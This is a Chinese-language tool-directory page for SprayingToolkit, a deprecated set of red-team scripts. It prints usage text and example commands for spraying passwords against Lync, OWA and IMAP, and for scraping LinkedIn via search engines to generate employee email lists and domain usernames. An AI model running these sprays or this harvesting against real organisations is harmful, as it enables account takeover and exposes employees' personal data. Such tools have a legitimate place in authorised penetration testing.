Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SprayingToolkit — 用于让针对 Lync/S4B、OWA 和 O365 的密码喷洒攻击变得更加快速、轻松且高效的脚本。 | Kitploit
工具/GitHubGitHub/byt3bl33d3r/sprayingtoolkit
侦察社会工程学OSINT密码攻击信息收集渗透测试电子邮件收集红队Archived
GitHubbyt3bl33d3r/sprayingtoolkit

SprayingToolkit

用于让针对 Lync/S4B、OWA 和 O365 的密码喷洒攻击变得更加快速、轻松且高效的脚本。

查看仓库
1.6k2713年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

弃用通知

这个项目不再维护。以下替代项目更好且得到积极维护:

  • TREVORspray
  • CredMaster

SprayingToolkit

SprayingToolkit

描述

一套 Python 脚本/工具,试图让针对 Lync/S4B 和 OWA 的密码喷洒攻击变得更快速、更轻松、更高效。

赞助商

官方 Discord 频道

欢迎来 Discord 上聊聊!

Porchetta Industries

安装

使用 pip3 按如下方式安装前置依赖:

root@kitploit:~
sudo -H pip3 install -r requirements.txt

如果你不想全局安装这些包,也可以使用 Python 虚拟环境。

工具概览

Atomizer

一个基于 Asyncio 和 Python 3.7 构建的极速密码喷洒器,适用于 Lync/Skype For Business 和 OWA。

用法

root@kitploit:~
Usage:
    atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
    atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
    atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
    atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
    atomizer (lync|owa|imap) <target> --recon [--debug]
    atomizer -h | --help
    atomizer -v | --version

Arguments:
    target         target domain or url
    password       password to spray
    userfile       file containing usernames (one per line)
    passwordfile   file containing passwords (one per line)

Options:
    -h, --help               show this screen
    -v, --version            show version
    -c, --csvfile CSVFILE    csv file containing usernames and passwords
    -i, --interval TIME      spray at the specified interval [format: "H:M:S"]
    -t, --threads THREADS    number of concurrent threads to use [default: 3]
    -d, --debug              enable debug output
    -p, --targetPort PORT    target port of the IMAP server (IMAP only) [default: 993]
    --recon                  only collect info, don't password spray
    --gchat URL              gchat webhook url for notification
    --slack URL              slack webhook url for notification
    --user-row-name NAME     username row title in CSV file [default: Email Address]
    --pass-row-name NAME     password row title in CSV file [default: Password]
    --user-as-pass USERFILE  use the usernames in the specified file as the password (one per line)

示例

root@kitploit:~
./atomizer.py owa contoso.com 'Fall2018' emails.txt
root@kitploit:~
./atomizer.py lync contoso.com 'Fall2018' emails.txt
root@kitploit:~
./atomizer lync contoso.com --csvfile accounts.csv
root@kitploit:~
./atomizer lync contoso.com --user-as-pass usernames.txt
root@kitploit:~
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
root@kitploit:~
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>

Vaporizer

这是 @OrOneEqualsOne 的 GatherContacts Burp 扩展向 mitmproxy 的一个移植版本,并做了一些改进。

从 Google 和 Bing 抓取 LinkedIn 个人资料,使用指定模式从姓名自动生成电子邮件,并实时执行密码喷洒。

(基于 Atomizer 构建)

示例

root@kitploit:~
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'

默认情况下,email_format 设置为 {first}.{last} 模式,不是必需参数。

domain 参数是用于根据姓名生成电子邮件的域名,target 参数是要进行密码喷洒的域名或 URL。

安装 mitmproxy 证书,在浏览器中设置代理,访问 Google 和/或 Bing 进行搜索(务必包含 /in):

site:linkedin.com/in "Target Company Name"

电子邮件将按指定格式输出到 emails.txt,并传递给 Atomizer 进行喷洒。

Aerosol

从目标网站抓取所有文本,并将其发送到 AWS Comprehend 进行分析,以生成用于密码喷洒的自定义字典。

仍在开发中

用法

root@kitploit:~
mitmdump -s aerosol.py --set domain=domain.com

Spindrift

将姓名转换为 Active Directory 用户名(例如 Alice Eve => CONTOSO\aeve)

用法

root@kitploit:~
Usage:
    spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]

Arguments:
    file    file containing names, can also read from stdin

Options:
    --target TARGET   optional domain or url to retrieve the internal domain name from OWA
    --domain DOMAIN   manually specify the domain to append to each username
    --format FORMAT   username format [default: {f}{last}]

示例

从 STDIN 读取姓名,使用 --domain 手动指定域:

root@kitploit:~
cat names.txt | ./spindrift.py --domain CONTOSO

从 names.txt 读取姓名,--target 从 OWA 动态获取内部域名(可以传入域名或 URL):

root@kitploit:~
./spindrift.py names.txt --target contoso.com
下载工具